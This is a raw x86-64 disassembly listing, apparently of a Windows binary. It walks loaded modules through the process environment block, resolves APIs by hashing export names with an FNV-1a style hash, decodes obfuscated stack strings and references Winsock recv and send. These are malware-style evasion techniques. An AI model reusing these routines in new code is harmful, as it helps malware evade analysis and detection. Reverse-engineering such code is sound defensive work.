mov r13d, dword [rdi + 0x1c]
mov r9d, dword [rdi + 0x20]
nop
dec ebx
lea rcx, [r12 + rbx*2]
movzx edx, word [rcx + r11]
lea rcx, [rdx*4]
add rcx, r13
mov edx, dword [rcx + r11]
add rdx, r11
mov qword [rbp - 0x38], rdx
lea rcx, [r9 + rbx*4]
mov r9d, dword [rcx + r11]
add r9, r11
cmp rdx, rdi
jbe 0x1400163df
lea rcx, [r15 + rdi]
cmp rdx, rcx
jae 0x1400163df
mov r14b, 1
jmp 0x1400163e2
xor r14b, r14b
mov r10d, 0x6aede7e6
movzx ecx, byte [r9]
inc r9
test cl, cl
je 0x14001642e
nop dword [rax]
nop word [rax + rax]
movsx edx, cl
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
movzx ecx, byte [r9]
lea r9, [r9 + 1]
test cl, cl
jne 0x140016400
mov rdx, qword [rbp - 0x38]
cmp r10d, esi
je 0x140016447
test ebx, ebx
mov r9d, dword [rdi + 0x20]
jne 0x1400163a0
mov rax, qword [rax]
jmp 0x1400162e0
test r14b, r14b
je 0x1400164e9
mov esi, 0x6aede7e6
mov r9d, esi
movzx r8d, byte [rdx]
cmp r8b, 0x2e
je 0x14001648d
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
inc rdx
movzx r8d, byte [rdx]
cmp r8b, 0x2e
jne 0x140016462
inc rdx
movzx r8d, byte [rdx]
test r8b, r8b
je 0x1400164c9
nop dword [rax]
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jne 0x1400164a0
mov eax, r9d
mov qword [rbp - 0x50], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400162e0
mov dl, 0xdc
mov r8b, 0xde
mov r9b, 0xd9
mov r10b, 0xd8
mov r11b, 0xd5
mov bl, 0xc7
mov dil, 0x9b
mov sil, 0xda
mov r14b, 0xc0
mov r15b, 0xcd
mov r12b, 0x7a
xor r13d, r13d
mov qword [rbp - 0x25], r13
mov word [rbp - 0x1d], r13w
movzx ecx, dl
and cl, 0xe
add cl, cl
mov eax, 0xac
sub al, cl
add dl, al
mov byte [rbp - 0x30], dl
movzx ecx, r8b
and cl, 0xf
add cl, cl
mov eax, 0xad
sub al, cl
add r8b, al
mov byte [rbp - 0x2f], r8b
movzx eax, r9b
and al, 0x10
add al, al
mov ecx, 0xae
sub cl, al
add r9b, cl
mov byte [rbp - 0x2e], r9b
movzx eax, r10b
and al, 0x11
add al, al
mov ecx, 0xaf
sub cl, al
add r10b, cl
mov byte [rbp - 0x2d], r10b
movzx eax, r11b
and al, 0x12
add al, al
mov ecx, 0xb0
sub cl, al
add r11b, cl
mov byte [rbp - 0x2c], r11b
movzx eax, bl
and al, 0x13
add al, al
mov ecx, 0xb1
sub cl, al
add bl, cl
mov byte [rbp - 0x2b], bl
movzx eax, dil
and al, 0x14
add al, al
mov ecx, 0xb2
sub cl, al
add dil, cl
mov byte [rbp - 0x2a], dil
movzx eax, sil
and al, 0x15
add al, al
mov ecx, 0xb3
sub cl, al
add sil, cl
mov byte [rbp - 0x29], sil
movzx eax, r14b
and al, 0x16
add al, al
mov ecx, 0xb4
sub cl, al
add r14b, cl
mov byte [rbp - 0x28], r14b
movzx eax, r15b
and al, 0x17
add al, al
mov ecx, 0xb5
sub cl, al
add r15b, cl
mov byte [rbp - 0x27], r15b
movzx eax, r12b
and al, 0x18
add al, al
mov ecx, 0xb6
sub cl, al
add r12b, cl
mov byte [rbp - 0x26], r12b
movzx eax, r13b
and al, 0x19
add al, al
mov edx, 0xb7
sub dl, al
lea ecx, [rdx + r13]
mov byte [rbp - 0x25], cl
movzx ecx, byte [rbp - 0x24]
movzx eax, cl
and al, 0x1a
add al, al
mov edx, 0xb8
sub dl, al
add cl, dl
mov byte [rbp - 0x24], cl
movzx ecx, byte [rbp - 0x23]
movzx eax, cl
and al, 0x1b
add al, al
mov edx, 0xb9
sub dl, al
add cl, dl
mov byte [rbp - 0x23], cl
movzx ecx, byte [rbp - 0x22]
movzx eax, cl
and al, 0x1c
add al, al
mov edx, 0xba
sub dl, al
add cl, dl
mov byte [rbp - 0x22], cl
movzx ecx, byte [rbp - 0x21]
movzx eax, cl
and al, 0x1d
add al, al
mov edx, 0xbb
sub dl, al
add cl, dl
mov byte [rbp - 0x21], cl
movzx ecx, byte [rbp - 0x20]
movzx eax, cl
and al, 0x1e
add al, al
mov edx, 0xbc
sub dl, al
add cl, dl
mov byte [rbp - 0x20], cl
movzx ecx, byte [rbp - 0x1f]
movzx eax, cl
and al, 0x1f
add al, al
mov edx, 0xbd
sub dl, al
add cl, dl
mov byte [rbp - 0x1f], cl
movzx ecx, byte [rbp - 0x1e]
movzx eax, cl
and al, 0x20
add al, al
mov edx, 0xbe
sub dl, al
add cl, dl
mov byte [rbp - 0x1e], cl
movzx eax, r13b
and al, 0x21
add al, al
mov edx, 0xbf
sub dl, al
add r13b, dl
mov byte [rbp - 0x1d], r13b
movzx ecx, byte [rbp - 0x1c]
movzx eax, cl
and al, 0x22
add al, al
mov edx, 0xc0
sub dl, al
add cl, dl
mov byte [rbp - 0x1c], cl
lea r8, [rbp - 0x30]
xor edx, edx
xor ecx, ecx
call qword [rbp - 0x38]
mov ebx, 4
mov rax, qword gs:[0x58]
add rbx, qword [rax]
mov eax, dword [rbx]
cmp dword [0x1401e6848], eax
jle 0x140016739
lea rcx, [0x1401e6848]
call fcn.1400d0d80
cmp dword [0x1401e6848], 0xffffffff
jne 0x140016739
lea rcx, [0x1400ff3e0]
call fcn.1400d132c
lea rcx, [0x1401e6848]
call fcn.1400d0d14
lea rcx, [0x1401cc530]
mov rax, qword [0x1401cc530]
call qword [rax + reloc.WS2_32.dll_recv]
mov eax, dword [rbx]
cmp dword [0x1401e6848], eax
jle 0x140016781
lea rcx, [0x1401e6848]
call fcn.1400d0d80
cmp dword [0x1401e6848], 0xffffffff
jne 0x140016781
lea rcx, [0x1400ff3e0]
call fcn.1400d132c
lea rcx, [0x1401e6848]
call fcn.1400d0d14
lea rcx, [0x1401cc530]
mov rax, qword [0x1401cc530]
call qword [rax + 0x18]
mov eax, dword [rbx]
cmp dword [0x1401e6848], eax
jle 0x1400167c9
lea rcx, [0x1401e6848]
call fcn.1400d0d80
cmp dword [0x1401e6848], 0xffffffff
jne 0x1400167c9
lea rcx, [0x1400ff3e0]
call fcn.1400d132c
lea rcx, [0x1401e6848]
call fcn.1400d0d14
lea rcx, [0x1401cc530]
mov rax, qword [0x1401cc530]
call qword [rax + 0x20]
jmp 0x140016e3a
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dl, 0x90
mov r8b, 0x9a
mov r9b, 0x8c
mov r10b, 0x98
mov r11b, 0x96
mov bl, 0xdd
mov dil, 0x9b
mov sil, 0x8d
movzx r14d, r9b
mov r15b, 0xb0
mov r12b, 0xb2
mov r13b, 3
xorps xmm0, xmm0
xor eax, eax
mov qword [rbp - 0x58], rax
movups xmmword [rsp + 0x3c], xmm0
mov dword [rsp + 0x4c], eax
movzx ecx, dl
and cl, 0x57
add cl, cl
mov eax, 0xf6
sub al, cl
add dl, al
mov byte [rsp + 0x30], dl
movzx ecx, r8b
and cl, 0x58
add cl, cl
mov eax, 0xf7
sub al, cl
add r8b, al
mov byte [rsp + 0x31], r8b
movzx ecx, r9b
and cl, 0x59
add cl, cl
mov eax, 0xf8
sub al, cl
add r9b, al
mov byte [rsp + 0x32], r9b
movzx ecx, r10b
and cl, 0x5a
add cl, cl
mov eax, 0xf9
sub al, cl
add r10b, al
mov byte [rsp + 0x33], r10b
movzx ecx, r11b
and cl, 0x5b
add cl, cl
mov eax, 0xfa
sub al, cl
add r11b, al
mov byte [rsp + 0x34], r11b
movzx ecx, bl
and cl, 0x5c
add cl, cl
mov eax, 0xfb
sub al, cl
add bl, al
mov byte [rsp + 0x35], bl
movzx ecx, dil
and cl, 0x5d
add cl, cl
mov eax, 0xfc
sub al, cl
add dil, al
mov byte [rsp + 0x36], dil
movzx ecx, sil
and cl, 0x5e
add cl, cl
mov eax, 0xfd
sub al, cl
add sil, al
mov byte [rsp + 0x37], sil
movzx ecx, r14b
and cl, 0x5f
add cl, cl
mov eax, 0xfe
sub al, cl
add r14b, al
mov byte [rsp + 0x38], r14b
movzx ecx, r15b
and cl, 0x60
add cl, cl
mov eax, 0xff
sub al, cl
add r15b, al
mov byte [rsp + 0x39], r15b
movzx eax, r12b
and al, 0x61
movzx eax, al
imul ecx, eax, 0xfe
add r12b, cl
mov byte [rsp + 0x3a], r12b
movzx eax, r13b
and al, 0x62
add al, al
mov ecx, 1
sub cl, al
add r13b, cl
mov byte [rsp + 0x3b], r13b
movd edx, xmm0
movzx ecx, dl
and cl, 0x63
add cl, cl
mov r8d, 2
mov eax, r8d
sub al, cl
add dl, al
mov byte [rsp + 0x3c], dl
movzx edx, byte [rsp + 0x3d]
movzx ecx, dl
and cl, 0x64
add cl, cl
mov r9d, 3
mov eax, r9d
sub al, cl
add dl, al
mov byte [rsp + 0x3d], dl
movzx ecx, byte [rsp + 0x3e]
movzx eax, cl
and al, 0x65
sub r8b, al
add r8b, r8b
add cl, r8b
mov byte [rsp + 0x3e], cl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0x66
add cl, cl
mov r8d, 5
mov eax, r8d
sub al, cl
add dl, al
mov byte [rsp + 0x3f], dl
movzx ecx, byte [rsp + 0x40]
movzx eax, cl
and al, 0x67
sub r9b, al
add r9b, r9b
add cl, r9b
mov byte [rsp + 0x40], cl
movzx edx, byte [rsp + 0x41]
movzx ecx, dl
and cl, 0x68
add cl, cl
mov r9d, 7
mov eax, r9d
sub al, cl
add dl, al
mov byte [rsp + 0x41], dl
movzx ecx, byte [rsp + 0x42]
movzx eax, cl
and al, 0x69
mov edx, 4
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x42], cl
movzx edx, byte [rsp + 0x43]
movzx ecx, dl
and cl, 0x6a
add cl, cl
mov r10d, 9
mov eax, r10d
sub al, cl
add dl, al
mov byte [rsp + 0x43], dl
movzx ecx, byte [rsp + 0x44]
movzx eax, cl
and al, 0x6b
sub r8b, al
add r8b, r8b
add cl, r8b
mov byte [rsp + 0x44], cl
movzx ecx, byte [rsp + 0x45]
movzx eax, cl
and al, 0x6c
add al, al
mov edx, 0xb
sub dl, al
add cl, dl
mov byte [rsp + 0x45], cl
movzx ecx, byte [rsp + 0x46]
movzx eax, cl
and al, 0x6d
mov edx, 6
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x46], cl
movzx ecx, byte [rsp + 0x47]
movzx eax, cl
and al, 0x6e
add al, al
mov edx, recvfrom
sub dl, al
add cl, dl
mov byte [rsp + 0x47], cl
movzx ecx, byte [rsp + 0x48]
movzx eax, cl
and al, 0x6f
sub r9b, al
add r9b, r9b
add cl, r9b
mov byte [rsp + 0x48], cl
movzx ecx, byte [rsp + 0x49]
movzx eax, cl
and al, 0x70
add al, al
mov edx, recvfrom
sub dl, al
add cl, dl
mov byte [rsp + 0x49], cl
movzx ecx, byte [rsp + 0x4a]
movzx eax, cl
and al, 0x71
mov edx, 8
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x4a], cl
movzx ecx, byte [rsp + 0x4b]
movzx eax, cl
and al, 0x72
add al, al
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
add cl, dl
mov byte [rsp + 0x4b], cl
mov rcx, qword [rbp - 0x58]
movzx eax, cl
and al, 0x73
sub r10b, al
add r10b, r10b
add cl, r10b
mov byte [rsp + 0x4c], cl
movzx ecx, byte [rsp + 0x4d]
movzx eax, cl
and al, 0x74
add al, al
mov edx, reloc.WS2_32.dll_send
sub dl, al
add cl, dl
mov byte [rsp + 0x4d], cl
movzx ecx, byte [rsp + 0x4e]
movzx eax, cl
and al, 0x75
mov edx, 0xa
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x4e], cl
movzx ecx, byte [rsp + 0x4f]
movzx eax, cl
and al, 0x76
add al, al
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, al
add cl, dl
mov byte [rsp + 0x4f], cl
mov dword [rsp + 0x58], 0xbfa3aca6
mov dword [rsp + 0x5c], 0xab76a5a5
mov dword [rsp + 0x60], 0xadb975a7
mov dword [rsp + 0x64], 0x7fa2a3b1
mov dword [rsp + 0x68], 0xa1b3a3ac
mov dword [rsp + 0x6c], 0x8c8badb1
mov dword [rsp + 0x70], 0x63439a89
xor eax, eax
movups xmmword [rsp + 0x74], xmm0
mov word [rbp - 0x7c], ax
mov byte [rbp - 0x7a], al
xor r8d, r8d
movzx ecx, byte [rsp + r8 + 0x58]
lea edx, [r8 + 0xa]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub dl, 0x46
add dl, cl
mov byte [rsp + r8 + 0x58], dl
inc r8
cmp r8, 0x2f
jb 0x140016b80
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x58]
jmp 0x140016e2f
mov cl, 0x78
mov dl, 0x72
mov r8b, 0x4c
mov r9b, 0x70
mov r10b, 0x46
mov r11b, 0xbd
mov bl, 0x73
mov dil, 0x4d
movzx esi, r8b
mov r14b, 0x48
mov r15b, 0x4a
mov r12b, 0xdb
xor r13d, r13d
mov qword [rbp - 4], r13
movzx eax, cl
and al, 0xe3
add al, al
mov dword [rbp - 0x60], 0xae
sub byte [rbp - 0x60], al
add cl, byte [rbp - 0x60]
mov byte [rbp - 0x10], cl
movzx eax, dl
and al, 0xe4
add al, al
mov ecx, 0xaf
sub cl, al
add dl, cl
mov byte [rbp - 0xf], dl
movzx eax, r8b
and al, 0xe5
add al, al
mov ecx, 0xb0
sub cl, al
add r8b, cl
mov byte [rbp - 0xe], r8b
movzx eax, r9b
and al, 0xe6
add al, al
mov ecx, 0xb1
sub cl, al
add r9b, cl
mov byte [rbp - 0xd], r9b
movzx eax, r10b
and al, 0xe7
add al, al
mov ecx, 0xb2
sub cl, al
add r10b, cl
mov byte [rbp - 0xc], r10b
movzx eax, r11b
and al, 0xe8
add al, al
mov ecx, 0xb3
sub cl, al
add r11b, cl
mov byte [rbp - 0xb], r11b
movzx eax, bl
and al, 0xe9
add al, al
mov ecx, 0xb4
sub cl, al
add bl, cl
mov byte [rbp - 0xa], bl
movzx eax, dil
and al, 0xea
add al, al
mov ecx, 0xb5
sub cl, al
add dil, cl
mov byte [rbp - 9], dil
movzx eax, sil
and al, 0xeb
add al, al
mov ecx, 0xb6
sub cl, al
add sil, cl
mov byte [rbp - 8], sil
movzx eax, r14b
and al, 0xec
add al, al
mov edx, 0xb7
sub dl, al
add r14b, dl
mov byte [rbp - 7], r14b
movzx eax, r15b
and al, 0xed
add al, al
mov edx, 0xb8
sub dl, al
add r15b, dl
mov byte [rbp - 6], r15b
movzx eax, r12b
and al, 0xee
add al, al
mov edx, 0xb9
sub dl, al
add r12b, dl
mov byte [rbp - 5], r12b
movzx eax, r13b
and al, 0xef
add al, al
mov edx, 0xba
sub dl, al
lea ecx, [rdx + r13]
mov byte [rbp - 4], cl
movzx ecx, byte [rbp - 3]
movzx eax, cl
and al, 0xf0
add al, al
mov edx, 0xbb
sub dl, al
add cl, dl
mov byte [rbp - 3], cl
movzx ecx, byte [rbp - 2]
movzx eax, cl
and al, 0xf1
add al, al
mov edx, 0xbc
sub dl, al
add cl, dl
mov byte [rbp - 2], cl
movzx ecx, byte [rbp - 1]
movzx eax, cl
and al, 0xf2
add al, al
mov edx, 0xbd
sub dl, al
add cl, dl
mov byte [rbp - 1], cl
movzx ecx, byte [rbp]
movzx eax, cl
and al, 0xf3
add al, al
mov edx, 0xbe
sub dl, al
add cl, dl
mov byte [rbp], cl
movzx ecx, byte [rbp + 1]
movzx eax, cl
and al, 0xf4
add al, al
mov edx, 0xbf
sub dl, al
add cl, dl
mov byte [rbp + 1], cl
movzx ecx, byte [rbp + 2]
movzx eax, cl
and al, 0xf5
add al, al
mov edx, 0xc0
sub dl, al
add cl, dl
mov byte [rbp + 2], cl
movzx edx, byte [rbp + 3]
movzx ecx, dl
and cl, 0xf6
add cl, cl
mov eax, 0xc1
sub al, cl
add dl, al
mov byte [rbp + 3], dl
movzx ecx, r13b
and cl, 0xf7
add cl, cl
mov eax, 0xc2
sub al, cl
add r13b, al
mov byte [rbp + 4], r13b
mov dword [rsp + 0x30], 0x6f6b6066
mov dword [rsp + 0x34], 0x73a66161
mov dword [rsp + 0x38], 0x796da967
mov dword [rsp + 0x3c], 0xaf7a636d
mov dword [rsp + 0x40], 0x657b6360
mov dword [rsp + 0x44], 0x7073797d
mov dword [rsp + 0x48], 0xdbbb6a7d
xor eax, eax
mov qword [rsp + 0x4c], rax
mov byte [rsp + 0x54], al
xor r8d, r8d
nop word [rax + rax]
movzx edx, byte [rsp + r8 + 0x30]
lea ecx, [r8 - 0x20]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub dl, 0x20
add dl, cl
mov byte [rsp + r8 + 0x30], dl
inc r8
cmp r8, 0x25
jb 0x140016e00
lea r8, [rbp - 0x10]
lea rdx, [rsp + 0x30]
mov r9d, reloc.WS2_32.dll_recv
xor ecx, ecx
call qword [rbp - 0x70]
xor eax, eax
mov rcx, qword [rbp + 0x28]
xor rcx, rsp
call fcn.1400d0cb0
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret